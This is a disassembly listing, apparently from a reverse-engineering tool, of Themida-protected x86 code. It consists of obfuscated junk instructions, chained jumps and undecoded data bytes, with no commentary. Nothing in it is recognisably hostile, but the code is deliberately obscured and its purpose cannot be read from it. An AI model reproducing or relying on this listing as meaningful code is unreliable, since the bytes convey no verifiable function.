		jmp	loc_5610DF
; ---------------------------------------------------------------------------
		db 89h
		dd 0B3E9240Ch, 870000D0h, 575C2404h, 0B47CE3BFh, 40F78143h
		dd 31622DC6h, 0BF575FFDh, 3C7726D3h, 15FFE29h, 0D3C681EEh
		dd 0FF3C7726h, 0E95D2434h, 4DD2h
; ---------------------------------------------------------------------------


loc_555D3C:				; CODE XREF: Themida_:0055C24Bj
		or	ebp, 5E576161h
		neg	ebp
		inc	ebp
		shr	ebp, 5
		push	esi
		jmp	loc_55F480
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0B9ADE9h,	8E6C100h, 3E6C14Eh, 0FAB5E9h, 0C4835800h
		dd 74FF5504h, 0ECE90424h, 0BE00004Bh, 6DD13DE7h, 437AE681h
		dd 0BA523FA9h, 4FCB0A7Ch, 161BBF57h, 99E976EEh,	890000EFh
		dd 4C181E1h, 83000000h,	0C8704E9h, 4895C24h, 52E08924h
		dd 7F2B68h, 24048900h, 0E44B94B8h, 0F2BF5748h, 8176824Eh
		dd 7134DCF7h, 0C3EF813Bh, 0E9D20E6Ch, 4AA6h
; ---------------------------------------------------------------------------


loc_555DC8:				; CODE XREF: Themida_:005574CEj
		xor	ebp, [esp]
		jmp	loc_567F17
; ---------------------------------------------------------------------------


loc_555DD0:				; CODE XREF: Themida_:0055E6AAj
		sub	bl, 4
		add	bl, ch
		push	ecx
		mov	cl, 4
		add	bl, cl
		pop	ecx
		sub	bl, 0
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	bl, al
		push	6659h
		mov	[esp], ecx
		mov	cl, 84h
		jmp	loc_558844
; ---------------------------------------------------------------------------


loc_555DF6:				; CODE XREF: Themida_:0055AC85j
		xor	edx, 0BAF7BE95h
		add	ecx, edx
		pop	edx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_563CF0
; ---------------------------------------------------------------------------


loc_555E18:				; CODE XREF: Themida_:005580A5j
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		and	ebx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_558DA8
; ---------------------------------------------------------------------------


loc_555E3D:				; CODE XREF: Themida_:005595F4j
		add	esp, 4
		or	eax, eax
		jnz	loc_5624E7
		push	1789h
		mov	[esp], ebx
		push	27563352h
		jmp	loc_55EB94
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 2ED8E849h, 1492E9h, 0E9C1FE00h, 0DB39h, 4BAh, 0AE17E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555E76:				; CODE XREF: Themida_:0056811Cj
		pop	eax
		neg	eax
		inc	eax
		push	edi
		jmp	loc_56AA97
; ---------------------------------------------------------------------------
		dd 52E9F929h, 0E9000107h, 0FFFFFE38h
; ---------------------------------------------------------------------------


loc_555E8C:				; CODE XREF: Themida_:0055E12Bj
		sub	edi, 4
		jmp	loc_565D7B
; ---------------------------------------------------------------------------


loc_555E94:				; CODE XREF: Themida_:00564750j
		push	esi
		mov	esi, 737D6BFFh
		jmp	loc_556F40
; ---------------------------------------------------------------------------
		db 80h
		dd 7FE93CC1h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555EA7:				; CODE XREF: Themida_:0055F801j
		push	ebp
		mov	ebp, 1E134F1Dh
		sub	ebp, 427818E6h
		jmp	loc_560962
; ---------------------------------------------------------------------------


loc_555EB8:				; CODE XREF: Themida_:0055774Bj
		mov	esi, 4
		push	edx
		jmp	loc_564537
; ---------------------------------------------------------------------------


loc_555EC3:				; CODE XREF: Themida_:005573BAj
		push	edx
		jmp	loc_55EB25
; ---------------------------------------------------------------------------
aZsr		db 'ZéÞ',0
		dw 0C000h
		dd 0B75302E6h, 0E9FE303Dh, 0C89Ah
; ---------------------------------------------------------------------------


loc_555EDC:				; CODE XREF: Themida_:005607CEj
		mov	eax, [esp]
		add	esp, 4
		push	4788h
		mov	[esp], esi
		jmp	loc_55CE63
; ---------------------------------------------------------------------------
		dw 55Dh
		dd 206A6BD0h, 0E953F801h, 0AF1Eh, 0A1B2E955h, 0F4B80000h
		dd 29669C61h, 24048BC2h, 0EF32E9h, 24248B00h, 0FF243489h
		dd 8B042474h, 0C4812434h, 4, 8B24048Fh,	3CD32424h, 8DE99C24h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F37:				; CODE XREF: Themida_:0055EE46j
		push	edi
		push	4
		pop	edi
		add	esi, edi
		pop	edi
		push	edi
		push	eax
		push	34890829h
		pop	eax
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xchg	eax, ecx
		dec	ecx
		xchg	eax, ecx
		push	ebx
		mov	ebx, 698C6E74h
		jmp	loc_56605E
; ---------------------------------------------------------------------------


loc_555F5B:				; CODE XREF: Themida_:0055E80Fj
		add	ecx, 9D33FFE4h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		push	esi
		jmp	loc_559881
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 242C335Ch, 33242C31h, 248B242Ch, 1525E924h, 515F0001h
		dd 0CF89D989h, 3FE95B59h, 8100003Eh, 537E50F3h,	0CDF38100h
		dd 311AA91Bh, 241C8BDEh, 57E38953h, 0D01950BFh,	41CF816Ah
		dd 0C1087863h, 0B0E906EFh, 81000053h, 304298F5h, 0EBCD816Bh
		dd 8116CB60h, 379372EDh, 3B44E91Fh, 0DA080001h,	209EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555FD5:				; CODE XREF: Themida_:0056439Fj
		add	esp, 4
		shl	esi, 5
		jmp	loc_55DD18
; ---------------------------------------------------------------------------
		dd 1EB81h, 0B9510000h, 82DDCCD9h, 8C9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555FF1:				; CODE XREF: Themida_:00559DB2j
		sub	ebp, 73482498h
		add	ebp, 36D067B9h
		jmp	loc_55F06F
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0F1E90000h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55600F:				; CODE XREF: Themida_:005624EDj
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_563FC3
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8124348Bh, 4C4h, 4B85000h, 0E9000000h, 1674h, 5F2434FFh
		dd 9B12E9h
		db 0
; ---------------------------------------------------------------------------


loc_556041:				; CODE XREF: Themida_:0055B270j
		not	bh
		xor	bh, 56h
		jmp	loc_55EDC0
; ---------------------------------------------------------------------------
		db 68h
		dd 0B0B7DD7h, 81242C8Bh, 4C4h, 9FE95600h, 590000A6h, 215C6846h
		dd 4890000h, 631AB824h,	0C1480DB5h, 360507E0h, 214AECB7h
		dd 54E958C6h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55607F:				; CODE XREF: Themida_:0055B2AFj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E1C4
; ---------------------------------------------------------------------------


loc_55608A:				; CODE XREF: Themida_:00558F28j
					; Themida_:0055C4F4j
		push	ebx
		jmp	loc_5633ED
; ---------------------------------------------------------------------------
		dd 875EF301h, 575C241Ch, 4BFh, 8BB6E900h, 34870000h, 46A7E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5560AA:				; CODE XREF: Themida_:0056231Dj
		dec	ecx
		and	ecx, 12F03C73h
		sub	ecx, 0AB5BDC41h
		add	[esp+4], ecx
		pop	ecx
		sub	dword ptr [esp], 4E4D2075h
		add	[esp], eax
		push	2BBBh
		jmp	loc_55BEB1
; ---------------------------------------------------------------------------
		dd 4BAh, 19C92D00h, 0D0011F98h,	9819C905h, 3FF2E91Fh, 51AC0000h
		dd 0CD806EB5h, 4AF58058h, 59E800h, 0B7C68D8h, 0ADE90000h
		dd 8100007Fh, 0F62860EEh, 516BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55610A:				; CODE XREF: Themida_:005668BFj
		pop	ebp
		push	edx
		mov	edx, 444B479Dh
		jmp	loc_55B4FD
; ---------------------------------------------------------------------------


loc_556116:				; CODE XREF: Themida_:00569CB5j
		add	esi, 4
		sub	esi, 4
		jmp	loc_557C08
; ---------------------------------------------------------------------------
		db 57h
		dd 0BB53E789h, 1D1F748Dh, 79EE381h, 8FE94968h, 810000D8h
		dd 1C5h, 6ABB5300h, 94BE108h, 0BA525BDDh, 4D8C1DB0h, 11E9DAF7h
		dd 87000093h, 545C2414h, 8324048Fh, 0FF042404h,	0E95A2434h
		dd 6B3h, 0AF081A68h, 0E8C15817h, 0AC2D4807h, 298AA240h
		dd 0FE0158C6h, 7646E9h,	4C48100h, 0E9000000h, 0BE5Fh, 4C781h
		dd 0BD550000h, 25BB0488h, 0EC83D5F7h, 47B6E904h, 40400001h
		dd 794DF22Dh, 73F3E958h, 80680000h, 89000040h, 40BA2414h
		dd 0E93F754Eh, 462Bh, 24148B54h, 7B2FE9h, 0C8B6600h, 4EC8324h
		dd 14321E9h
		db 0
; ---------------------------------------------------------------------------


loc_5561D9:				; CODE XREF: Themida_:0055709Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56809B
; ---------------------------------------------------------------------------
a1usui		db '1î鞈',0
		align 4
		dd 8758C301h, 24E9241Ch, 58000127h, 34E9DE29h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556207:				; CODE XREF: Themida_:00565614j
		mov	esi, 638E623Eh
		xor	esi, 4F684FD6h
		push	edi
		mov	edi, 464C50D8h
		sub	edi, 96606C7h
		neg	edi
		add	edi, 3CE64A12h
		add	esi, edi
		pop	edi
		dec	esi
		jmp	loc_55C438
; ---------------------------------------------------------------------------


loc_55622F:				; CODE XREF: Themida_:0055FC46j
		add	ebx, edx
		jmp	loc_558CEC
; ---------------------------------------------------------------------------


loc_556236:				; CODE XREF: Themida_:00563182j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	5DD7h
		jmp	loc_56A07A
; ---------------------------------------------------------------------------


loc_556249:				; CODE XREF: Themida_:0055EEACj
		push	edi
		xor	dword ptr [esp], 39DE3AF9h
		pop	ecx
		push	ebx
		mov	ebx, 6D490051h
		jmp	loc_55A4AE
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 148904ECh, 4B85024h, 89000000h, 0BB5358C2h
		dd 40457C25h, 815BDE01h, 0E20E66EEh, 6961E908h,	0DF310000h
		dd 0F650E95Bh, 5A660000h, 2168665Bh, 13B2E919h,	0C5810001h
		dd 4, 8B242C87h, 89532424h, 4C381E3h, 81000000h, 4EBh
		dd 241C8700h, 243C895Ch, 0EC81E789h, 4,	57241489h, 4A7671BFh
		dd 2047E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5562D2:				; CODE XREF: Themida_:005566C5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 2C2256BFh
		add	edx, 79E45B09h
		push	eax
		jmp	loc_55E114
; ---------------------------------------------------------------------------


loc_5562EF:				; CODE XREF: Themida_:0055DECAj
		pop	edi
		add	esi, ebx
		sub	esi, 0E535FF4h
		pop	ebx
		jmp	loc_565397
; ---------------------------------------------------------------------------
		dw 400h
		dd 0BDE99C24h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556307:				; CODE XREF: Themida_:00560C25j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_569934
; ---------------------------------------------------------------------------
		dd 39998F35h, 58C501B0h, 0EE67E9h, 58C20100h, 0E9241487h
		dd 0D772h, 0BB241C89h, 4663B1Bh, 1C8BDD89h, 4C48124h, 52000000h
		dd 0BAh, 89EA2900h, 0DAE95AD5h,	0FF000012h, 82E93042h
		db 17h,	1, 0
; ---------------------------------------------------------------------------


loc_55635B:				; CODE XREF: Themida_:00568007j
		push	ecx
		mov	ecx, 718202E2h
		sub	ebx, 7C9314D9h
		sub	ebx, ecx
		add	ebx, 7C9314D9h
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		pop	small word ptr [eax]
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 0B98CE9h,	24148700h, 5960685Ch, 24890000h, 24048324h
		dd 24048F04h, 4240483h,	5D2434FFh, 55E18951h, 95B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5563AD:				; CODE XREF: Themida_:00558EDEj
		push	3F3C7BC0h
		jmp	loc_55D5F8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 14D36659h, 0FDE99C24h, 1FFFFF8h, 0DBF759CBh
		dd 74FFBA52h, 0EAE92FDDh, 66000139h, 28C12C5Ah,	29F0E9D8h
		dd 2C8B0001h, 4C48124h,	0E9000000h, 72F7h
; ---------------------------------------------------------------------------


loc_5563F0:				; CODE XREF: Themida_:0056305Cj
		dec	edi
		dec	edi
		or	edi, 0DB03B07h
		push	eax
		jmp	loc_569F9E
; ---------------------------------------------------------------------------


loc_5563FE:				; CODE XREF: Themida_:0055DD26j
		mov	ecx, 33D6CA77h
		jmp	loc_55EEF4
; ---------------------------------------------------------------------------


loc_556408:				; CODE XREF: Themida_:0055C463j
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_55D0EE
; ---------------------------------------------------------------------------


loc_556414:				; CODE XREF: Themida_:00561D23j
		sub	edi, esi
		jmp	loc_557CD9
; ---------------------------------------------------------------------------
		db 29h
		dd 241C8BDEh, 4C481h, 34330000h, 24343124h, 8B243433h
		dd 4892424h, 64746824h,	0C5E90000h, 530000DEh, 42474FFh
		dd 2995E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55644A:				; CODE XREF: Themida_:0056879Dj
		push	esi
		jmp	loc_563D7F
; ---------------------------------------------------------------------------
		dd 3606C681h, 0FE2912AAh, 3606EE81h, 3C8B12AAh,	0E0895024h
		dd 405h, 0C0BE5600h, 0E9303771h, 0A769h, 8324048Bh, 89E904C4h
		dd 890000D2h, 1E9242Ch
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556487:				; CODE XREF: Themida_:00560093j
		add	ebp, ebx
		sub	ebp, 3F801795h
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	6A18h
		jmp	loc_56A405
; ---------------------------------------------------------------------------


loc_5564B5:				; CODE XREF: Themida_:0056AF06j
		and	ebp, 1A8F1F62h
		push	esi
		mov	esi, 12C208D1h
		sub	ebp, esi
		jmp	loc_559A2F
; ---------------------------------------------------------------------------
		dd 6C02B850h, 0C70127D3h, 0E924048Bh, 12A43h
; ---------------------------------------------------------------------------


loc_5564D8:				; CODE XREF: Themida_:00558395j
		dec	ebp
		jmp	loc_557D8D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0DDE92424h, 0F7FFFFF7h, 240487D0h, 0F742E9h
		db 0
; ---------------------------------------------------------------------------


loc_5564F1:				; CODE XREF: Themida_:005694E7j
		add	ecx, eax
		push	edx
		push	74FFh
		mov	[esp], eax
		jmp	loc_563379
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 2Eh
		dd 2929FB6Ch, 2EC281CAh, 5929FB6Ch, 3A98F281h, 0E2810E20h
		dd 79AA6D8Eh, 5FB7EA81h, 0C2813265h, 0EBD3DADh,	2EFBBB53h
		dd 7BE91433h, 0BBh, 0B65266F0h,	66F000EEh, 24148B5Ah, 4C481h
		dd 2B040000h, 7BB55166h, 0E800D104h, 5966D12Ch,	7B2CD828h
		dd 0A6E95366h, 1000076h, 0A26DE9DFh, 0C2810000h, 7B201C0Bh
		dd 1C26C281h, 0C2810B0Dh, 63172E78h, 0AEE9DA01h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55657F:				; CODE XREF: Themida_:00566977j
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		pop	eax


loc_556585:				; CODE XREF: Themida_:00566E09j
		push	7221h
		mov	[esp], ebx
		add	dword ptr [esp], 0DE618F6h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_561B84
; ---------------------------------------------------------------------------
		db 58h
		dd 45BD828h, 4393E9C6h,	5F500001h, 17E95058h, 48000065h
		dd 152A132Dh, 0F7D0F704h, 9C1CE9D0h, 0E9580000h, 1B88h
; ---------------------------------------------------------------------------


loc_5565C8:				; CODE XREF: Themida_:005569B3j
		push	bx
		push	3D90h
		jmp	loc_56227D
; ---------------------------------------------------------------------------
		dd 0AAE9815Ah, 55147E45h, 9A497ABDh, 0E9E9090Eh, 0E50Ah
		dd 8924248Bh, 0D1E92404h, 81FFFFF6h, 0BB30C7EEh, 5EF209BEh
		dd 0A9ABB53h, 0E3C166A5h, 0ECB85007h, 563A658h,	19AE22CFh
		dd 62BEE9h, 5F545700h, 0B40CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55661D:				; CODE XREF: Themida_:00569325j
		add	edx, 79E145CDh
		jmp	loc_568107
; ---------------------------------------------------------------------------
aQsA		db 'QéÓí',0
		align 2
		dw 2C8Bh
		dd 4C48124h, 87000000h,	305C243Ch, 0B3E959E8h, 550000AEh
		dd 0E889CD89h, 0B189E9h
		db 0
; ---------------------------------------------------------------------------


loc_55664D:				; CODE XREF: Themida_:00557F22j
		mov	edi, esp
		sub	esp, 4
		jmp	loc_56502D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0CD0AF405h, 47F050Ah, 0E62D793Ch, 544FE56h, 67E6375Ah
		dd 0BA52D829h, 67E6375Ah, 148BD029h, 4C48124h, 0E9000000h
		dd 0FF19h
; ---------------------------------------------------------------------------


loc_556684:				; CODE XREF: Themida_:005637B0j
		and	edi, 4A981B09h
		sub	esp, 4
		jmp	loc_569D68
; ---------------------------------------------------------------------------
aVtHG		db 'VT^h»G',0
		align 2
		dw 0B0E9h
		dd 81000106h, 2C6h, 24348700h, 6624248Bh, 0E99CC83Bh, 0FFFFF610h
; ---------------------------------------------------------------------------


loc_5566B4:				; CODE XREF: Themida_:00568935j
		add	ebp, edi
		add	ebp, 3D883DB1h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5562D2
; ---------------------------------------------------------------------------


loc_5566CA:				; CODE XREF: Themida_:00564DFCj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	0C91h
		mov	[esp], esi
		push	2CEBh
		mov	[esp], esp
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 30C518EEh
		add	[esp+4], eax
		add	dword ptr [esp+4], 30C518EEh
		pop	eax
		jmp	loc_562436
; ---------------------------------------------------------------------------


loc_556705:				; CODE XREF: Themida_:00567634j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5688CE
; ---------------------------------------------------------------------------
		db 54h
		dd 10769E9h, 0AA355800h, 531C778h, 0F127E89Ch, 1EF7C281h
		dd 0C2013FBBh, 1EF7EA81h, 7BE93FBBh
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556737:				; CODE XREF: Themida_:005628A3j
		push	eax
		mov	eax, 732B36A7h
		push	edi
		mov	edi, 17761F2Ah
		shr	edi, 2
		sub	edi, 92B25127h
		mov	esi, edi
		jmp	loc_565324
; ---------------------------------------------------------------------------


loc_556753:				; CODE XREF: Themida_:0055BFABj
		pop	eax
		pop	edx
		jmp	loc_563094
; ---------------------------------------------------------------------------
		dw 65E9h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55675F:				; CODE XREF: Themida_:0056A026j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56566B
; ---------------------------------------------------------------------------


loc_55676A:				; CODE XREF: Themida_:00559F16j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5687A2
; ---------------------------------------------------------------------------
		dd 0F22C381h, 0C3017960h, 0F22EB81h, 0E9587960h, 0DDF0h
		dd 685DE901h, 6B88h, 0EAFDE9h, 27F58000h, 9601E9h, 2434FF00h
		dd 0D08EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5567B5:				; CODE XREF: Themida_:00566F69j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_564261
; ---------------------------------------------------------------------------


loc_5567CD:				; CODE XREF: Themida_:0055C666j
		pop	edx
		sub	esi, 4
		jmp	loc_56247B
; ---------------------------------------------------------------------------


loc_5567D6:				; CODE XREF: Themida_:005679B5j
		sub	al, 0A7h
		sub	al, bh
		jmp	loc_561DC1
; ---------------------------------------------------------------------------
aT_hjx		db 'T_h†x',0
		align 2
		dw 20E9h
		dd 5C000147h, 405h, 40500h, 57E90000h, 81000137h, 4C4h
		dd 49ECE900h, 0EB810000h, 1C24091Dh, 8104EBC1h,	73D5A2F3h
		dd 8BDA010Eh, 3E9241Ch,	81000095h, 4C4h, 4C28100h, 81000000h
		dd 4ECh, 243C8900h, 7F89B850h, 1FE9208Ah, 680000A2h, 53947h
		dd 0E92434FFh, 3CDEh, 8DBD555Fh, 814C580Ch, 0A7F377C5h
		dd 6BCE2DB3h, 39050127h, 1132B08h, 0F6E953E8h, 4A0000F3h
		dd 226FC281h, 0E9553416h, 0D27Fh, 8E3C15Eh, 6D04C381h
		dd 49E90BBAh
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_556887:				; CODE XREF: Themida_:005602EBj
		push	ebx
		mov	ebx, 4
		add	ebp, 4AC672D0h
		add	ebp, ebx
		sub	ebp, 4AC672D0h
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_567839
; ---------------------------------------------------------------------------
aXsje		db 'X馥',0
		dw 8900h
		dd 0F5BA2414h, 5176879Dh, 4C1A75B9h, 2E1A6876h,	1C890000h
		dd 5F57BB24h, 0D9011920h, 13A93E9h, 2C65BE00h, 0F08959E7h
		dd 18AEE9h, 80F0D00h, 1057D6Bh,	0F7000000h, 2BCF25D8h
		dd 6905018Ch, 297D3833h, 0DD0158C5h, 105B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_556911:				; CODE XREF: Themida_:0056A6E3j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	60C85C56h
		jmp	loc_565944
; ---------------------------------------------------------------------------


loc_55692E:				; CODE XREF: Themida_:00569C7Fj
		push	edi
		mov	edi, 1B5C6B73h
		jmp	loc_568EB3
; ---------------------------------------------------------------------------
		db 2Dh,	0C3h, 0Bh
		dd 0C8015357h, 570BC305h, 49685953h, 0E9000006h, 0FFFFF3B7h
; ---------------------------------------------------------------------------


loc_556950:				; CODE XREF: Themida_:0055729Dj
		pop	edi
		jmp	loc_5666FF
; ---------------------------------------------------------------------------


loc_556956:				; CODE XREF: Themida_:005639F4j
		push	small 6344h
		mov	[esp], bx
		mov	bx, 519h
		add	ax, 762Ch
		sub	ax, 6B45h
		sub	ax, bx
		jmp	loc_55E8AF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5CCA68h, 240C8900h, 0AC47C268h, 908CE96Dh, 0E3890000h
		dd 4C381h, 0EB810000h, 4, 0E9241C87h, 0E31Dh, 24048B66h
		dd 0B45BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5569A9:				; CODE XREF: Themida_:0055F6E5j
		pop	dx
		sub	al, 0D1h
		sub	al, bl
		add	al, 0D1h
		add	al, 2Ah
		jmp	loc_5565C8
; ---------------------------------------------------------------------------


loc_5569B8:				; CODE XREF: Themida_:00558B8Ej
		mov	esi, 66E93994h
		sub	esi, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_55BF66
; ---------------------------------------------------------------------------


loc_5569C8:				; CODE XREF: Themida_:005587BDj
		sub	esp, 4
		jmp	loc_568449
; ---------------------------------------------------------------------------
		db 56h
		dd 0F37D9268h, 814E5E77h, 0F37D93F6h, 5EF78977h, 3C8BF801h
		dd 0A3A7E924h, 75B70000h, 0F65FE780h, 89E951D7h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5569FB:				; CODE XREF: Themida_:0055BD0Ej
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	43BBh
		mov	[esp], ebx
		push	edx
		mov	dl, 0E6h
		sub	dl, 8Ah
		jmp	loc_55FD5F
; ---------------------------------------------------------------------------
		db 89h
		dd 41E92414h
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_556A2B:				; CODE XREF: Themida_:0055BDB2j
		push	edi
		jmp	loc_567772
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0EAh
		dd 6AC281FFh, 9FE1AF5h,	0E6815AD6h, 4B4C7B5Ah, 3664F681h
		dd 0E6C12E2Ah, 343AE905h, 685D0000h, 5F8h, 0E9243C89h
		dd 48A8h, 0DB655FB9h, 3E9C103h,	6836E981h, 0C9811BB1h
		dd 1B3B0E70h, 5643E181h, 0C1816110h, 4AA81B8Ah,	3D45C181h
		dd 0E95B6Dh
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556A8B:				; CODE XREF: Themida_:0056A7BDj
		push	ecx
		jmp	loc_55DCBD
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd offset byte_5999E9
		db 0
; ---------------------------------------------------------------------------


loc_556A99:				; CODE XREF: Themida_:00559B11j
		mov	ebp, 1ACB050Eh
		xor	ebp, 1ACB050Ah
		push	ebx
		mov	ebx, 5D914CB6h
		shr	ebx, 1
		add	ebx, 1E76689h
		add	edi, ebx
		pop	ebx
		add	edi, ebp
		push	edx
		mov	edx, 50366D59h
		add	edx, 0E0799F8Bh
		jmp	loc_55D3BD
; ---------------------------------------------------------------------------


loc_556AC8:				; CODE XREF: Themida_:00569529j
		mov	edi, 70971F3Ah
		mov	esi, edi
		jmp	loc_564ABF
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 488256EAh, 8107E7C1h, 31FF64C7h,	1FBD5535h
		dd 312D5564h, 52565DEFh, 53CCB68h, 24148B22h, 8104C483h
		dd 38F74EC2h, 5A5E5237h, 5969B850h, 0E0C150C6h,	49354004h
		dd 0D34EF3Eh, 5D0A2845h, 1B35D8F7h, 31B73D3Ch, 0C78158C6h
		dd 39F61DB7h, 0B2E9F701h
		db 26h,	1, 0
; ---------------------------------------------------------------------------


loc_556B2F:				; CODE XREF: Themida_:00560F63j
		mov	ebp, ecx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_56859D
; ---------------------------------------------------------------------------
		dw 0F65Bh
		dd 0F8C680D6h, 0FEA8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B46:				; CODE XREF: Themida_:005651E6j
		add	ebx, 58EB1FDEh
		push	eax
		jmp	loc_56431F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575924h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0B04AE95Ch
		dd 0D8F70000h, 893DBE2Dh, 1E87E946h, 875C0000h,	241C87D3h
		dd 0FFF13FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B85:				; CODE XREF: Themida_:00561AABj
		mov	ecx, esp
		push	edx
		mov	edx, 12EB7199h
		and	edx, 34C524Eh
		sub	edx, 2485004h
		jmp	loc_55AD0B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B523E959h, 0EE810000h, 4AEE2AEDh, 0C681FE01h, 4AEE2AEDh
		dd 2434875Fh, 2561E9h, 72E98100h, 818204B7h, 3F254DEFh
		dd 51CF013Fh, 1A5C28B9h, 72C18178h, 9173C12Dh, 13569E9h
		db 0
; ---------------------------------------------------------------------------


loc_556BE1:				; CODE XREF: Themida_:00559BA5j
		push	ecx
		jmp	loc_565A51
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4B85000h, 1000000h, 3C8758C7h,	8BE95C24h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556BFF:				; CODE XREF: Themida_:0055E375j
		push	46B0h
		mov	[esp], esi
		mov	esi, 568E5A48h
		xor	ebx, esi
		pop	esi
		mov	esi, ebx
		jmp	loc_561FF6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 14A76975h, 0E5E9CA01h, 680000E2h, 1290h, 0E9241489h
		dd 11BA0h
; ---------------------------------------------------------------------------


loc_556C30:				; CODE XREF: Themida_:00559841j
		mov	edx, 519214D6h
		jmp	loc_55C658
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EF5CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C42:				; CODE XREF: Themida_:00568380j
		push	53D6h
		mov	[esp], ecx
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 43h
		mov	bl, dl
		pop	edx
		mov	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		add	ch, 1
		not	ch
		jmp	loc_56A7A0
; ---------------------------------------------------------------------------
		db 54h
		dd 18F0E9h, 9CEF8100h, 1F69B6Fh, 15B5FFAh, 5A042454h, 77BCE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


